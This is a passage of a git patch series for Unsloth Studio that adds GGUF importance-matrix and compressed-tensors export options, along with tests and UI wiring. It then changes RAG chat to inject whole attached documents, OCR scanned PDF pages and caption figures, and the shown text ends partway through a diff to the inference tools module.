+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the GGUF imatrix option and compressed-tensors merged export wiring.
+
+Schema checks use the real Pydantic models; the cross-layer threading is verified with ast so it
+runs on CPU with no GPU, no model, and no llama.cpp.
+"""
+
+import ast
+from pathlib import Path
+
+import pytest
+from pydantic import ValidationError
+
+from models.export import ExportGGUFRequest, ExportMergedModelRequest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+
+
+def _src(rel):
+    return (_BACKEND / rel).read_text(encoding = "utf-8")
+
+
+def _func_src(rel, name):
+    src = _src(rel)
+    node = next(
+        n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name
+    )
+    return ast.get_source_segment(src, node)
+
+
+# -- schema -------------------------------------------------------------------------------------
+
+
+def test_gguf_request_imatrix_defaults_and_set():
+    assert ExportGGUFRequest(save_directory = "/tmp/x").imatrix is False
+    assert ExportGGUFRequest(save_directory = "/tmp/x").imatrix_path is None
+    r = ExportGGUFRequest(save_directory = "/tmp/x", imatrix = True, imatrix_path = "/i.dat")
+    assert r.imatrix is True and r.imatrix_path == "/i.dat"
+
+
+def test_merged_request_accepts_compressed_formats():
+    for fmt in ("16-bit (FP16)", "FP8 (compressed-tensors)", "NVFP4 (compressed-tensors)"):
+        assert ExportMergedModelRequest(save_directory = "/tmp/x", format_type = fmt).format_type == fmt
+
+
+def test_merged_request_rejects_unknown_format():
+    with pytest.raises(ValidationError):
+        ExportMergedModelRequest(save_directory = "/tmp/x", format_type = "bogus")
+
+
+# -- threading (ast) ----------------------------------------------------------------------------
+
+
+def test_export_gguf_threads_imatrix_to_save_and_push():
+    # imatrix_file must reach both save_pretrained_gguf and push_to_hub_gguf, but only via the
+    # conditional **imatrix_kw so a no-imatrix export never sends an unsupported keyword.
+    g = _func_src("core/export/export.py", "export_gguf")
+    assert g.count("**imatrix_kw") >= 2
+    assert 'imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}' in g
+    # Unconditional pass-through (the old wiring) must be gone.
+    assert "imatrix_file = imatrix_file" not in g
+
+
+def test_export_gguf_guards_unsupported_imatrix_build():
+    # An older unsloth without imatrix_file support gets a clean error, not a TypeError.
+    g = _func_src("core/export/export.py", "export_gguf")
+    assert "_supports_kwarg(" in g and '"imatrix_file"' in g
+
+
+def test_export_merged_guards_unsupported_compressed_build():
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "_compressed_export_supported()" in m
+
+
+def test_supports_kwarg_helper():
+    # exec just the helper source so the test stays free of export.py's heavy import chain.
+    ns = {}
+    exec(_func_src("core/export/export.py", "_supports_kwarg"), ns)
+    supports = ns["_supports_kwarg"]
+
+    def has_it(a, imatrix_file = None):
+        pass
+
+    def lacks_it(a):
+        pass
+
+    def via_kwargs(a, **kw):
+        pass
+
+    assert supports(has_it, "imatrix_file") is True
+    assert supports(lacks_it, "imatrix_file") is False
+    assert supports(via_kwargs, "imatrix_file") is True
+
+
+def test_orchestrator_and_worker_pass_imatrix():
+    assert "imatrix_file" in _func_src("core/export/orchestrator.py", "export_gguf")
+    assert 'imatrix_file = cmd.get("imatrix_file")' in _src("core/export/worker.py")
+
+
+def test_route_resolves_imatrix_file():
+    assert "request.imatrix_path or (True if request.imatrix else None)" in _src("routes/export.py")
+
+
+def test_export_merged_maps_compressed_to_save_method():
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "is_compressed" in m and '"fp8"' in m and '"nvfp4"' in m
+
+
+def test_compressed_hub_push_uploads_local_dir_without_recompressing():
+    # A compressed Hub push must upload the already-built output_path, not re-run compression
+    # via push_to_hub_merged (which would compress a second time).
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "elif is_compressed and output_path and Path(output_path).is_dir():" in m
+    assert "hf_api.upload_folder(" in m and "folder_path = output_path" in m
diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts
index f055f1bd61..d1b4e88a6d 100644
--- a/studio/frontend/src/features/export/api/export-api.ts
+++ b/studio/frontend/src/features/export/api/export-api.ts
@@ -162,6 +162,8 @@ export async function exportGGUF(params: {
   push_to_hub?: boolean;
   repo_id?: string | null;
   hf_token?: string | null;
+  imatrix?: boolean;
+  imatrix_path?: string | null;
 }): Promise<ExportOperationResponse> {
   const response = await authFetch("/api/export/export/gguf", {
     method: "POST",
diff --git a/studio/frontend/src/features/export/constants.ts b/studio/frontend/src/features/export/constants.ts
index 9b7e487450..058de1edc4 100644
--- a/studio/frontend/src/features/export/constants.ts
+++ b/studio/frontend/src/features/export/constants.ts
@@ -39,7 +39,12 @@ export const QUANT_OPTIONS: {
   value: string;
   label: string;
   recommended?: boolean;
+  imatrix?: boolean; // IQ quants require an importance matrix (the imatrix toggle below)
 }[] = [
+  { value: "iq2_xxs", label: "IQ2_XXS", imatrix: true },
+  { value: "iq2_m", label: "IQ2_M", imatrix: true },
+  { value: "iq3_xxs", label: "IQ3_XXS", imatrix: true },
+  { value: "iq4_xs", label: "IQ4_XS", imatrix: true },
   { value: "q2_k_l", label: "Q2_K_L" },
   { value: "q3_k_m", label: "Q3_K_M" },
   { value: "q4_k_m", label: "Q4_K_M", recommended: true },
@@ -50,12 +55,44 @@ export const QUANT_OPTIONS: {
   { value: "f16", label: "F16" },
 ];
 
+/** Merged-export precision formats. The compressed-tensors ones run llm-compressor for vLLM. */
+export type MergedFormat =
+  | "16-bit (FP16)"
+  | "FP8 (compressed-tensors)"
+  | "NVFP4 (compressed-tensors)";
+
+export const MERGED_FORMATS: {
+  value: MergedFormat;
+  label: string;
+  hint: string;
+}[] = [
+  {
+    value: "16-bit (FP16)",
+    label: "16-bit",
+    hint: "Full precision, runs anywhere.",
+  },
+  {
+    value: "FP8 (compressed-tensors)",
+    label: "FP8 (vLLM)",
+    hint: "compressed-tensors FP8 for vLLM. Needs an NVIDIA GPU.",
+  },
+  {
+    value: "NVFP4 (compressed-tensors)",
+    label: "NVFP4 (vLLM)",
+    hint: "compressed-tensors NVFP4 for vLLM. Needs an NVIDIA GPU; calibrates.",
+  },
+];
+
 /**
  * llama.cpp effective bits-per-weight per quant; GGUF size ~= fp16_bytes * bpw / 16.
  * K-quant values are published average bit-rates (Q2_K_L = Unsloth Q2_K + Q8_0
  * embeddings). Approximate ("~"), not exact file sizes.
  */
 export const GGUF_BPW: Record<string, number> = {
+  iq2_xxs: 2.06,
+  iq2_m: 2.7,
+  iq3_xxs: 3.06,
+  iq4_xs: 4.25,
   q2_k_l: 3.35,
   q3_k_m: 3.91,
   q4_k_m: 4.83,
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index 4037dbe079..7b5c6ec6d4 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -3,6 +3,7 @@
 
 import { SectionCard } from "@/components/section-card";
 import { Button } from "@/components/ui/button";
+import { Switch } from "@/components/ui/switch";
 import {
   Combobox,
   ComboboxContent,
@@ -61,6 +62,9 @@ import {
   EXPORT_METHODS,
   type ExportMethod,
   GUIDE_STEPS,
+  MERGED_FORMATS,
+  type MergedFormat,
+  QUANT_OPTIONS,
   buildQuantSizeLabels,
   getEstimatedSize,
 } from "./constants";
@@ -171,6 +175,16 @@ export function ExportPage() {
       ? s.summary.quantLevels
       : [];
   });
+  // GGUF importance matrix (required for the IQ quants) and merged-export precision.
+  const [useImatrix, setUseImatrix] = useState(false);
+  const [mergedFormat, setMergedFormat] = useState<MergedFormat>("16-bit (FP16)");
+  // IQ quants are imatrix-only, so force it on when one is selected; otherwise we would submit
+  // an IQ quant with no imatrix and llama.cpp would reject it.
+  const requiresImatrix = quantLevels.some(
+    (q) => QUANT_OPTIONS.find((o) => o.value === q)?.imatrix,
+  );
+  const effectiveImatrix = useImatrix || requiresImatrix;
+
   // Whether the inline export panel is expanded. The panel also shows itself
   // whenever a run is active/terminal (see `panelActive`), so it survives
   // navigation even though this local flag resets on remount.
@@ -613,6 +627,8 @@ export function ExportPage() {
       exportMethod,
       isAdapter: adapterExport,
       quantLevels,
+      useImatrix: effectiveImatrix,
+      mergedFormat,
       saveDirectory,
       destination,
       repoId,
@@ -639,6 +655,8 @@ export function ExportPage() {
     exportMethod,
     isAdapter,
     quantLevels,
+    effectiveImatrix,
+    mergedFormat,
     destination,
     saveDirectory,
     hfUsername,
@@ -1166,12 +1184,54 @@ export function ExportPage() {
                 }
               />
 
+              {exportMethod === "merged" && isAdapter && (
+                <div className="space-y-2">
+                  <div className="text-sm font-medium">Precision</div>
+                  <div className="flex flex-wrap gap-2">
+                    {MERGED_FORMATS.map((f) => (
+                      <Button
+                        key={f.value}
+                        type="button"
+                        variant={mergedFormat === f.value ? "default" : "outline"}
+                        size="sm"
+                        onClick={() => setMergedFormat(f.value)}
+                        title={f.hint}
+                      >
+                        {f.label}
+                      </Button>
+                    ))}
+                  </div>
+                  <div className="text-xs text-muted-foreground">
+                    {MERGED_FORMATS.find((f) => f.value === mergedFormat)?.hint}
+                  </div>
+                </div>
+              )}
+
               {exportMethod === "gguf" && (
-                <QuantPicker
-                  value={quantLevels}
-                  onChange={setQuantLevels}
-                  sizes={quantSizeLabels}
-                />
+                <>
+                  <QuantPicker
+                    value={quantLevels}
+                    onChange={setQuantLevels}
+                    sizes={quantSizeLabels}
+                  />
+                  <div className="flex items-center justify-between gap-3 rounded-lg border p-3">
+                    <div className="space-y-0.5">
+                      <div className="text-sm font-medium">
+                        Importance matrix (imatrix)
+                      </div>
+                      <div className="text-xs text-muted-foreground">
+                        {requiresImatrix
+                          ? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model."
+                          : "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."}
+                      </div>
+                    </div>
+                    <Switch
+                      checked={effectiveImatrix}
+                      onCheckedChange={setUseImatrix}
+                      disabled={requiresImatrix}
+                    />
+                  </div>
+                </>
               )}
               {estimatedSize && (
                 <div className="flex items-center gap-1.5 text-xs text-muted-foreground">
diff --git a/studio/frontend/src/features/export/stores/export-runtime-store.ts b/studio/frontend/src/features/export/stores/export-runtime-store.ts
index 307e1ccaab..a87e7d93e9 100644
--- a/studio/frontend/src/features/export/stores/export-runtime-store.ts
+++ b/studio/frontend/src/features/export/stores/export-runtime-store.ts
@@ -138,6 +138,10 @@ export interface RunExportParams {
   exportMethod: ExportMethod;
   isAdapter: boolean;
   quantLevels: string[];
+  /** GGUF: use an importance matrix (auto-download); required for the IQ quants. */
+  useImatrix?: boolean;
+  /** Merged: precision/format ("16-bit (FP16)" or a compressed-tensors option). */
+  mergedFormat?: string;
   saveDirectory: string;
   destination: ExportDestination;
   repoId?: string;
@@ -437,6 +441,7 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
           const { outputPath } = await runRecoverableOp(() =>
             exportMerged({
               save_directory: params.saveDirectory,
+              format_type: params.mergedFormat,
               push_to_hub: pushToHub,
               repo_id: params.repoId,
               hf_token: params.token,
@@ -469,6 +474,7 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
               push_to_hub: pushToHub,
               repo_id: params.repoId,
               hf_token: params.token,
+              imatrix: params.useImatrix,
             }),
           );
           lastOutputPath = outputPath ?? lastOutputPath;

From e8945cab46d0d5998c522b3faaff2ba19fbff7c9 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 30 Jun 2026 06:55:23 -0700
Subject: [PATCH 157/306] Whole-document context for RAG chat attachments
 (#6693)

* Add whole-document context mode to RAG chat attachments

Thread-attached files are injected in full when they fit a token budget,
instead of only top-K retrieved chunks, so the model reads the entire file
for summarize/reason-over-document requests. Oversized files fall back to
top-K retrieval so the context window is never blown. KB and project
corpora are unchanged (still retrieval).

- core/rag/store.py: all_chunks_for_scope returns every completed-document
  chunk for a scope, ordered document-then-index, joined with filename.
- core/rag/tool.py: whole_document_context renders the chunks as the same
  <chunk> blocks + citation source-map retrieval produces, returns None
  when empty or over budget.
- core/inference/tools.py: build_rag_autoinject tries whole-document first
  for thread scopes, falls through to search_for_autoinject otherwise.
- core/rag/config.py: THREAD_WHOLE_DOC + WHOLE_DOC_MAX_TOKENS (env-tunable).
- tests/test_rag_whole_document.py: store ordering, whole-doc render +
  budget cutoff, auto-inject whole-doc vs top-K fallback, KB never whole-doc.

* Add scanned-PDF OCR fallback to RAG ingestion

A PDF page with no extractable text layer (a scanned or image-only page)
previously ingested as empty, so image PDFs were invisible to retrieval and
whole-document context. Such pages are now rendered and transcribed by the
loaded vision model during ingestion, so they become searchable and readable
like any other page. This restores OCR for the RAG document flow without a
separate extraction pipeline.

- core/rag/parsers.py: render_pdf_pages renders whole pages (1-based) to PNG.
- core/rag/captioner.py: factor the shared vision call into _vision_complete;
  add _ocr_one + ocr_pages (transcribe rendered pages, OCR_MAX_PAGES bound).
- core/rag/ingestion.py: _ocr_scanned_pages runs right after parse, replacing
  text on near-empty PDF pages. No-op when OCR is off, no page is scanned, or
  no vision model is loaded (degrades like figure captioning).
- core/rag/config.py: OCR_SCANNED, OCR_MIN_CHARS, OCR_MAX_PAGES, OCR_DPI,
  OCR_TIMEOUT_S, OCR_MAX_TOKENS (env-tunable).
- tests/test_rag_ocr_fallback.py: page render, ocr_pages gating + cap, scanned
  PDF end-to-end OCR into chunks + whole-doc, born-digital skips OCR, disabled
  leaves the page empty.

* Broaden OCR prompt to figures/tables and guard against repetition runaway

The OCR prompt now asks the vision model to also transcribe text inside figures,
diagrams, charts and tables, so labels and table cells on scanned pages are
indexed rather than skipped. Verified on real documents that this does not
regress plain-text transcription.

Some vision models loop on sparse images (e.g. a title-only cover) and emit the
same line hundreds of times. _collapse_runaway caps any run of identical
consecutive lines so a pathological page cannot flood the index; legitimate
short repeats (a label appearing a few times) survive. Applied in ocr_pages.

* Restrict whole-document injection to thread attachments only

whole_document_context resolved the combined project+thread scope, so a project
chat (the frontend sends both thread_id and project_id) injected the entire
project corpus in full, contradicting the design that project and KB corpora stay
retrieval-only. A large project corpus could also push the total over budget and
drop a small thread attachment back to top-K.

Resolve the thread scope alone in whole_document_context, and in
build_rag_autoinject only enter whole-doc mode when a thread attachment is present
and no KB is selected (a KB pick is exclusive: search that corpus). Project
sources and KBs keep top-K retrieval. Adds regression tests for the mixed
project+thread payload, the budget isolation, and KB precedence.

* Address review: keep project retrieval, harden budget + OCR guards

Follow-up to the 8-reviewer pass on the whole-document + OCR work.

- Preserve project grounding in project chats. The thread-scope-only fix made
  whole-doc exclusive of retrieval, so a thread attachment silently dropped the
  project corpus for that turn. build_rag_autoinject now whole-docs the thread
  attachment AND retrieves the project sources top-K, merged under one citation
  numbering via tool.render_sources. KB selection stays exclusive.
- Budget: a NULL/zero token_count no longer bypasses the cap (length-based
  fallback in _row_token_count), so a malformed huge doc can't inject in full.
- OCR runaway guard: _collapse_runaway now also caps each distinct line at a
  generous total across the page (not just consecutive), bounding the
  interleaved/alternating loops weak models emit; blank-line floods collapse too.
- OCR: warn when a scanned PDF exceeds OCR_MAX_PAGES (pages past the cap stay
  untranscribed) instead of silently dropping them.
- Document the known limits: OCR'd pages have no PDF highlight regions; vision
  models need a micro-batch >= image tokens (Gemma-family) or the server aborts.
- Tests for project-retrieval composition, NULL-token budget, and interleaved
  runaway; drop the now-superseded exclude-project test.

* Add OCR toggle to RAG retrieval settings

Make scanned-PDF OCR user-controllable per upload instead of only via the
RAG_OCR_SCANNED config default. The retrieval settings panel gains an OCR
scanned pages switch (persisted in localStorage, on by default); the chosen
value is read fresh at upload time and sent with each document upload.

Backend: the three upload routes accept an optional ocr form field and pass it
through start_ingestion to _ocr_scanned_pages, which now treats None as use the
config default and an explicit bool as an override. The on/off policy lives only
in _ocr_scanned_pages now, so ocr_pages no longer re-checks the config (that
double gate would have blocked a per-upload ocr=True while the default was off).

Tests cover both override directions (force on while config off, force off while
config on).

* Add "Describe figures & charts" toggle with chart-aware captions

Surface RAG figure captioning as a user control and make it actually useful for
graphs and plots. The figure detection already clustered vector drawings and
raster images into regions and rendered them, but captioning was off by default,
had no UI, and used a thin generic prompt.

Accuracy: the caption prompt now asks for chart type, axis titles and units,
legend or series, salient trends and readable values, and table columns, while
forbidding invented numbers. The token budget is configurable (CAPTION_MAX_TOKENS)
and captions pass through the same runaway guard as OCR so a looping vision model
cannot flood the index.

Control: a per-upload caption override threads from the three upload routes through
start_ingestion and _run, with the on/off policy single-sourced in _run (caption
self-gating removed from caption_images, mirroring the OCR change) so a force-on
override works when the config default is off. The frontend adds a "Describe
figures & charts" switch in the retrieval settings, persisted in localStorage and
sent with each upload. Default on; it is a no-op without a vision model and bounded
to CAPTION_MAX_IMAGES figures per document.

Tests cover the new caption_images contract, the runaway guard on captions, the
chart-aware prompt and token budget (and that OCR keeps its own prompt and budget),
and both override directions end to end through ingestion.

* Generalize figure understanding: transcribe-first prompt + high-DPI tiling

Make figure/chart description work across any visual and any model strength, not
just a strong VLM on simple figures. Two changes, validated by a recall benchmark
on authoritative documents (ResNet/Attention papers, USDA, UN UDHR).

1. Transcribe-first caption prompt. The caption now asks the model to transcribe
   every visible label verbatim (titles, axis labels and units, legends, every
   box/node/arrow label, table cells, equations) and then add a one-line summary,
   instead of only describing the figure. Transcription is the most model-robust
   visual task, so weak models that cannot reason about a chart still recover its
   labels.

2. High-DPI tiling of figure pages. Figure-bearing pages are rendered as an
   overlapping grid of high-DPI tiles (plus a full-page pass for context); each
   tile is transcribed, then merged and de-duplicated. This keeps small diagram
   labels legible and covers every sub-figure without relying on exact region
   detection, which previously missed sub-figures and small labels.

Supporting changes: figure render DPI 130 -> 200 with a clip margin so edge labels
are not lost; vision calls are deterministic (temperature 0) so transcription does
not randomly drop labels; the repetition guard now applies to captions too. New
config knobs: FIGURE_DPI, FIGURE_MARGIN_FRAC, FIGURE_TILE_ROWS/COLS, FIGURE_TILE_
OVERLAP, FIGURE_FULLPAGE, CAPTION_MAX_PAGES, larger CAPTION_MAX_TOKENS, and
CAPTION_MAX_IMAGES as a per-document tile budget.

Measured figure context recall (per-label, dense academic figures):
  Qwen2.5-VL: 0.50 -> 0.83 (overall 0.81 -> 0.94)
  Gemma-4-E2B (weak): ~0 with loops -> 0.83 (overall 0.91)
Born-digital text and scanned-page recall are unchanged (no regression).

parsers gains _figure_boxes (shared detection), pages_with_figures, and
render_pdf_figure_tiles; captioner gains merge_page_captions and a temperature
parameter; ingestion routes figure captioning through the tiled path.

* Fix RAG review issues: whole-doc budget pre-check, figure gating, empty re-ingest, vision auth

Whole-document context now runs a cheap token-sum pre-check (store.scope_token_estimate)
before hydrating every chunk's text, so an attachment that cannot fit the budget is
rejected without loading the whole corpus into memory. The estimate mirrors
all_chunks_for_scope's filter and the per-row token-count fallback exactly.

Ingestion skips all figure work (PDF rasterization and detection, not just the caption
call) unless a vision model is loaded, so a text-only deployment pays nothing. When OCR
is enabled, scanned/image-only pages are excluded from figure tiling since OCR already
transcribes them whole, avoiding double vision work and overlapping index entries; a
scanned figure page is still tiled when OCR is off.

start_ingestion no longer dedupes forever to a prior ingest that produced zero chunks
(e.g. a scanned PDF uploaded before a vision model was loaded): the empty record is
dropped and the content is re-ingested.

Vision OCR and caption requests now send the backend Authorization header, so they
match the chat endpoint and do not 401 under direct-stream (--api-key) mode.

Adds tests for the budget estimate, scanned-page exclusion, the vision-model gate, the
empty re-ingest path, and the auth-header passthrough.

* Trim RAG vision-ingestion comments and docstrings

Tighten the verbose multi-line docstrings and comments added across the RAG vision
ingestion work (captioner, config, parsers, ingestion, store, tool, build_rag_autoinject,
the RAG tests, and the chat-store/upload-hook frontend toggles) to one or two lines while
keeping their intent. No code changed: verified comment/docstring-only against the prior
commit, and the RAG test suite still passes.

* Fix figure-tiling exclusion and client dedupe for re-ingestable docs

Figure tiling now excludes only the pages OCR actually transcribed, not every
text-less page. _ocr_scanned_pages returns the set of pages it OCR'd, and _run passes
that to pages_with_figures as exclude_pages (replacing the ocr_on-keyed min_text_chars
heuristic). A scanned page that OCR skipped (past OCR_MAX_PAGES, or whose OCR returned
empty) is no longer dropped from captioning, so a chart on such a page still gets a
caption.

The document panel's upload dedupe no longer skips re-selecting a file whose only
matching doc completed with zero chunks. Such a doc is re-ingestable (e.g. a scan
attached before a vision model loaded), and the backend re-ingests on the same content
hash, so the client must let it reach the backend; healthy or still-indexing docs are
still skipped. The SSE complete frame's chunk count is recorded on the doc so the
check is exact.

Adds a regression test for the un-OCR'd scanned figure page and updates the
pages_with_figures test to the exclude_pages interface.

* Address review findings: whole-doc budget guard, job numChunks, dead code, upload cap

whole_document_context now treats a non-positive max_tokens as "never inject" instead
of injecting the whole corpus unbounded, so RAG_WHOLE_DOC_MAX_TOKENS=0 tightens rather
than disables the budget (the real off switch stays RAG_THREAD_WHOLE_DOC=0).

The job-status endpoint and get_job_status now expose num_chunks (joined from the
document), and the upload hook threads it through the SSE-fallback completion paths
(reconcile + poll). Previously a document that finished via the connection-cap fallback
had no chunk count client-side, so the re-ingest dedupe wrongly treated it as empty and
re-uploaded it. IndexJob/JobEvent gain the field and the untyped cast is dropped.

Removes the dead render_pdf_figures function (superseded by the tiling path), its test,
and the unused FIGURE_MARGIN_FRAC config knob.

Adds an upload size cap (RAG_MAX_UPLOAD_BYTES, default 200 MB; 413 on exceed with the
partial file cleaned up) so a pathological file can't drive unbounded parse + vision
work. render_pdf_figure_tiles clamps rows/cols to >= 1 (no ZeroDivisionError on a
misconfigured grid). Captioning progress is reported after OCR so the bar is monotonic.
sqlite connections set busy_timeout=5000 so a long figure/scan ingest holding its
connection doesn't make a concurrent ingest/read fail with "database is locked".

Adds tests for the non-positive budget, the zero-grid clamp, job-status num_chunks, and
the oversize-upload rejection.

* Extract PDF text as layout-aware Markdown via pymupdf4llm

parsers._pdf now extracts each PDF page as Markdown with pymupdf4llm.to_markdown
(page_chunks=True) instead of flat page.get_text("text"), so tables, headings and lists
keep their structure in the indexed chunks and retrieve far better (a table's cells stay
associated with their row instead of flattening into a token stream). Gated by
RAG_PDF_MARKDOWN (default on); falls back to plain PyMuPDF text when the toggle is off,
pymupdf4llm is missing, extraction fails, or a page yields no Markdown. The scanned-page
OCR and figure-tiling passes operate on rendered pixels and are unaffected; docx/html/txt
keep their existing extractors.

The preview-highlight locator already strips Markdown punctuation when building anchors;
it now also splits anchor tokens on pipes so a Markdown table row still anchors to the
raw PDF word stream.

Declares pymupdf4llm as a studio/RAG dependency (was only transitively present via the
data-designer plugin). Adds parser tests (Markdown table reaches the page text, the
plain-text fallback, the missing-lib fallback) and a locator test for table-pipe anchoring.

* Pin pymupdf4llm to 0.3.4 so the package scan does not pull onnxruntime

The lockstep pymupdf4llm 1.27.x line makes pymupdf-layout a hard dependency,
which in turn pulls onnxruntime (plus numpy/networkx/protobuf). The security-audit
pip scan-packages job resolves requirements --with-deps, so adding pymupdf4llm to
no-torch-runtime.txt and studio.txt surfaced onnxruntime's un-baselined CRITICAL
finding and flipped the hf-stack shard from pass to fail.

pymupdf4llm 0.3.x keeps pymupdf-layout behind an optional [layout] extra, so a plain
install resolves to pymupdf + tabulate only and never touches onnxruntime. 0.3.4
requires pymupdf>=1.27.1, satisfied by our pinned pymupdf==1.27.2.3, and to_markdown
(page_chunks=True) produces equivalent layout-aware Markdown on real PDFs (verified on
the Attention, ResNet and USDA documents). Production already installs these files
--no-deps, so onnxruntime was never shipped at runtime; this only fixes the scanner.

The parser test now asserts Markdown markup (heading or table pipes) rather than table
pipes specifically, since 0.3.4 emits a heading but not a pipe table on the tiny
borderless synthetic fixture; both markers are absent from the plain-text fallback.

* Fix RAG whole-doc review findings

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address RAG whole-doc review follow-ups

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address RAG review follow-up edge cases

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Reserve image budget for whole-document RAG

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/tools.py        | 143 ++++-
 studio/backend/core/rag/captioner.py          | 173 +++++-
 studio/backend/core/rag/config.py             |  49 +-
 studio/backend/core/rag/ingestion.py          | 144 ++++-
 studio/backend/core/rag/locators.py           |   6 +-
 studio/backend/core/rag/parsers.py            | 212 +++++--
 studio/backend/core/rag/store.py              |  37 ++
 studio/backend/core/rag/tool.py               |  81 ++-
 .../backend/requirements/no-torch-runtime.txt |   5 +
 studio/backend/requirements/studio.txt        |   3 +
 studio/backend/routes/rag.py                  |  32 +-
 studio/backend/storage/rag_db.py              |   4 +
 studio/backend/tests/test_rag_captioning.py   | 303 +++++++++-
 studio/backend/tests/test_rag_ingestion.py    |  63 +++
 studio/backend/tests/test_rag_ocr_fallback.py | 259 +++++++++
 studio/backend/tests/test_rag_parsing.py      |  88 +++
 studio/backend/tests/test_rag_preview.py      |  19 +
 .../backend/tests/test_rag_whole_document.py  | 520 ++++++++++++++++++
 .../src/features/chat/api/chat-adapter.ts     |   6 +
 .../chat/stores/chat-runtime-store.ts         |  26 +
 .../frontend/src/features/chat/types/api.ts   |   3 +
 .../frontend/src/features/rag/api/rag-api.ts  |  32 +-
 .../components/retrieval-settings-section.tsx |  52 ++
 .../rag/components/use-rag-documents.ts       |  66 ++-
 studio/frontend/src/features/rag/types/rag.ts |   2 +
 25 files changed, 2171 insertions(+), 157 deletions(-)
 create mode 100644 studio/backend/tests/test_rag_ocr_fallback.py
 create mode 100644 studio/backend/tests/test_rag_parsing.py
 create mode 100644 studio/backend/tests/test_rag_whole_document.py

diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py
index a5c193ff39..82c50933fc 100644
--- a/studio/backend/core/inference/tools.py
+++ b/studio/backend/core/inference/tools.py
@@ -1121,6 +1121,61 @@ def _autoinject_top_k() -> int:
     return _AUTOINJECT_DEFAULT_TOP_K
 
 
+def _thread_whole_doc_enabled(scope: dict) -> bool:
+    """Whether a thread-attached file should be injected in full rather than
+    retrieved top-K. ``rag_scope.whole_doc=False`` disables it for this request."""
+    override = scope.get("whole_doc")
+    if override is False:
+        return False
+    try:
+        from core.rag import config as _rag_config
+    except Exception:  # noqa: BLE001
+        return True
+    return _rag_config.THREAD_WHOLE_DOC
+
+
+_IMAGE_PART_TOKEN_ESTIMATE = 1024
+
+
+def _message_token_estimate(conversation: list[dict]) -> int:
+    """Cheap prompt-size estimate for budget guards; exact tokenization happens later."""
+    total = 0
+    for msg in conversation:
+        content = msg.get("content")
+        if isinstance(content, str):
+            total += max(1, len(content) // 4)
+        elif isinstance(content, list):
+            for part in content:
+                if isinstance(part, dict):
+                    if part.get("type") in ("image_url", "input_image"):
+                        total += _IMAGE_PART_TOKEN_ESTIMATE
+                    else:
+                        total += max(1, len(str(part.get("text") or "")) // 4)
+        total += 4  # chat-template role / separator overhead estimate
+    return total
+
+
+def _whole_doc_budget(scope: dict | None = None, conversation: list[dict] | None = None) -> int:
+    try:
+        from core.rag import config as _rag_config
+    except Exception:  # noqa: BLE001
+        budget = 6000
+    else:
+        budget = _rag_config.WHOLE_DOC_MAX_TOKENS
+    if not scope:
+        return budget
+    context = _opt_int(scope.get("context_length") or scope.get("max_context_tokens"))
+    if context is None or context <= 0:
+        return budget
+    headroom = _opt_int(scope.get("response_headroom"))
+    if headroom is None:
+        headroom = max(1024, context // 4)
+    used = _message_token_estimate(conversation or [])
+    # Leave room for tool XML wrappers, citation metadata, and chat-template overhead.
+    available = context - headroom - used - 512
+    return min(budget, max(0, available))
+
+
 def _last_user_text(conversation: list[dict]) -> str:
     """Plain text of the most recent user turn (text parts only)."""
     for msg in reversed(conversation):
@@ -1154,7 +1209,11 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
     enabled = rag_scope.get("autoinject")
     if enabled is None:
         enabled = _autoinject_enabled()
-    if not enabled:
+    thread_id = rag_scope.get("thread_id")
+    whole_doc_requested = (
+        bool(thread_id) and not rag_scope.get("kb_id") and _thread_whole_doc_enabled(rag_scope)
+    )
+    if not enabled and not whole_doc_requested:
         return None
     query = _last_user_text(conversation)
     if not query:
@@ -1163,35 +1222,81 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
         from storage import rag_db
         if not rag_db.RAG_AVAILABLE:
             return None
-        from core.rag.tool import search_for_autoinject
+        from core.rag.tool import render_sources, search_for_autoinject, whole_document_context
     except Exception as exc:  # noqa: BLE001
         logger.warning("RAG auto-inject unavailable: %s", exc)
         return None
 
+    text: str | None = None
+    sources: list[dict] = []
+
     floor_override = rag_scope.get("autoinject_min_score")
     floor = float(floor_override) if floor_override is not None else _autoinject_floor()
     # Cap at the lean top_k, but honor a lower user setting.
     lean_k = _autoinject_top_k()
     sidebar_k = _opt_int(rag_scope.get("default_top_k"))
     top_k = min(sidebar_k, lean_k) if sidebar_k is not None else lean_k
-    try:
-        found = search_for_autoinject(
-            query = query,
-            scope_kb_id = rag_scope.get("kb_id"),
-            scope_thread_id = rag_scope.get("thread_id"),
-            scope_project_id = rag_scope.get("project_id"),
-            top_k = top_k,
-            min_dense_score = floor,
-            **_scope_retrieval_kwargs(rag_scope),
-        )
-    except Exception as exc:  # noqa: BLE001
